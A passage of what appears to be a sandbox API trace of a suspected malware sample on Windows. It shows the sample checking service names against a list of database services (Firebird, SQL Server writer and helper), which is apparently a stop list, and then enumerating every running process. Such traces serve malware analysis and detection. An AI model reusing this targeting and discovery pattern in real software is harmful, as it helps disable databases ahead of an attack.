(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.911] lstrlenW (lpString="Schedule") returned 8 [0060.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.911] lstrlenW (lpString="SecurityHealthService") returned 21 [0060.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0060.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0060.911] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0060.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0060.911] lstrlenW (lpString="SENS") returned 4 [0060.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.911] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.912] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.912] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.912] lstrlenW (lpString="Spooler") returned 7 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.912] lstrlenW (lpString="SSDPSRV") returned 7 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0060.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0060.912] lstrlenW (lpString="StateRepository") returned 15 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0060.912] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0060.912] lstrlenW (lpString="SysMain") returned 7 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.912] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.912] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.912] lstrlenW (lpString="SystemEventsBroker") returned 18 [0060.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0060.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0060.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0060.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0060.913] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0060.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0060.920] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.921] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.922] lstrlenW (lpString="System") returned 6 [0060.922] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.923] lstrlenW (lpString="smss.exe") returned 8 [0060.923] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.924] lstrlenW (lpString="csrss.exe") returned 9 [0060.924] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.925] lstrlenW (lpString="wininit.exe") returned 11 [0060.925] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.926] lstrlenW (lpString="csrss.exe") returned 9 [0060.926] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.927] lstrlenW (lpString="winlogon.exe") returned 12 [0060.927] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.928] lstrlenW (lpString="services.exe") returned 12 [0060.928] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.929] lstrlenW (lpString="lsass.exe") returned 9 [0060.929] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.930] lstrlenW (lpString="svchost.exe") returned 11 [0060.930] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.931] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.931] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0060.931] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0060.931] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.933] lstrlenW (lpString="svchost.exe") returned 11 [0060.933] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.933] lstrlenW (lpString="dwm.exe") returned 7 [0060.933] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.934] lstrlenW (lpString="svchost.exe") returned 11 [0060.934] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.935] lstrlenW (lpString="svchost.exe") returned 11 [0060.935] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.935] lstrlenW (lpString="svchost.exe") returned 11 [0060.935] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.936] lstrlenW (lpString="svchost.exe") returned 11 [0060.936] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.937] lstrlenW (lpString="svchost.exe") returned 11 [0060.937] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.937] lstrlenW (lpString="svchost.exe") returned 11 [0060.937] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.938] lstrlenW (lpString="svchost.exe") returned 11 [0060.938] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.939] lstrlenW (lpString="svchost.exe") returned 11 [0060.939] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.939] lstrlenW (lpString="svchost.exe") returned 11 [0060.939] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.952] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.953] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.953] lstrlenW (lpString="svchost.exe") returned 11 [0060.953] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.954] lstrlenW (lpString="svchost.exe") returned 11 [0060.954] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.955] lstrlenW (lpString="audiodg.exe") returned 11 [0060.955] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0060.955] lstrlenW (lpString="sihost.exe") returned 10 [0060.955] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.956] lstrlenW (lpString="svchost.exe") returned 11 [0060.956] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.957] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.957] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0060.957] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0060.957] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0060.958] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0060.958] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.959] lstrlenW (lpString="explorer.exe") returned 12 [0060.959] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0060.960] lstrlenW (lpString="Memory Compression") returned 18 [0060.960] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0060.961] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0060.961] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0060.962] lstrlenW (lpString="SearchUI.exe") returned 12 [0060.962] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0060.962] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0060.962] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.963] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.963] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.973] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.973] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0060.974] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0060.974] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0060.975] lstrlenW (lpString="msoia.exe") returned 9 [0060.975] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0060.976] lstrlenW (lpString="UsoClient.exe") returned 13 [0060.976] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0060.976] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0060.976] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0060.977] lstrlenW (lpString="msoia.exe") returned 9 [0060.977] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0060.978] lstrlenW (lpString="taskhostw.exe") returned 13 [0060.978] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0060.978] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0060.978] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0060.979] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0060.979] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0060.980] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0060.980] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0060.981] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0060.981] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0060.981] lstrlenW (lpString="arcobviously.exe") returned 16 [0060.981] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0061.034] lstrlenW (lpString="preston disciplines.exe") returned 23 [0061.034] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0061.034] lstrlenW (lpString="boss.exe") returned 8 [0061.034] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0061.035] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0061.035] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0061.036] lstrlenW (lpString="placing.exe") returned 11 [0061.036] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0061.036] lstrlenW (lpString="heroes.exe") returned 10 [0061.036] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0061.037] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0061.037] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0061.038] lstrlenW (lpString="requirement moments.exe") returned 23 [0061.038] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0061.039] lstrlenW (lpString="sugar.exe") returned 